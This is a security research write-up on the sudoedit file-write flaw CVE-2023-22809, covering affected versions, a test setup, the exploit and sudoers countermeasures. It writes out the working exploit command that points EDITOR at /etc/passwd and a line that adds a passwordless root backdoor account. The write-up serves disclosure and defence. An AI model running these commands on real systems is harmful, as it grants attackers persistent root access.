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Research & Technique 
    

 

Random file write vulnerability exploiting sudoedit  

(CVE-2023-22809) 

 

■ Outline of the vulnerability 

 

■ Affected software version 

S/W Vulnerable version 

sudo 1.8.0~1.9.12p 

※ sudo versions prior to 1.8.0 are not affected as they handle factors differently  
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■ Attack scenario 

 

① The attacker searches for vulnerable servers and steals accounts registered in sudoers. 

② The attacker creates a backdoor by editing a random file (/etc/passwd) other than the allowed file by using 

the CVE-2023-22809 vulnerability. 

③ The attacker seizes PC control through the backdoor. 

④ The attacker can continuously acquire the user's important information. 

 

■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 20.04.5 LTS 

Sudo version 1.8.31 

Sudoers policy plugin version 1.8.31 

Sudoers file grammar version 46 

Sudoers I/O plugin version 1.8.31 

※ The sudo 1.8.31 version is the default built-in version of Ubuntu 20.04.5 LTS. 
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■ Vulnerability test 

Name Information 

rootDir A read-only directory owned by root 

Insight A file that only the root user can read/write/execute 
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Command $ sudoedit /var/tmp/rootDir/Insight 

sudo -e: As an option for editing in the sudo program, it means edit and has the same function as sudoedit. 
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Command 

$ EDITOR=’editor -- [random file]’ sudoedit [allowed file] 

$ EDITOR='vim -- /etc/passwd' sudoedit /var/tmp/rootDir/Insight 

Enter EQSTLabBackdoor::0:0:/root:/bin/sh in the /etc/passwd file after executing the editor. 

[account name]:[password]:[uid][guid]:[home directory]:[shell address] 
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■ Detailed analysis of the vulnerability 

Description 

of sudoers 

fields 

Field  

No. 1 
User (group) name 

Set the account or group name to give the command 

execution privilege. 

- If it is given to all, use ALL. 

Field  

No. 2 
Host 

The target server or IP to execute the command 

- If it is given to all, use ALL. 

Field  

No. 3 

Privilege of  

the exec account 

When the command is executed, it is executed with the 

privilege of the specified account. 

- If it is omitted, the command will be executed with the 

root privilege. 

Field  

No. 4 

Whether a password 

 is set 

[omissible] 

If the NOPASSWD option is set, when the command is 

executed, the account password can be omitted. 

Field  

No. 5 
Command 

The command and path that will be allowed to be executed 

- If all commands are allowed, use ALL. 

 

. 
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EDITOR=’vim -- /etc/passwd’ sudoedit /var/tmp/rootDir/Insight  
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vim -- /attack file -- /a target allowed to be edited 
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■ Countermeasures 

 

Defaults!sudoedit    env_delete+="SUDO_EDITOR VISUAL EDITOR" 

 

 

 

Cmnd_Alias             EDIT_MOTD = sudoedit /var/tmp/rootDir/Insight 

Defaults!EDIT_MOTD     env_delete+="SUDO_EDITOR VISUAL EDITOR" 

user                    ALL = EDIT_MOTD 
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■ Reference sites 


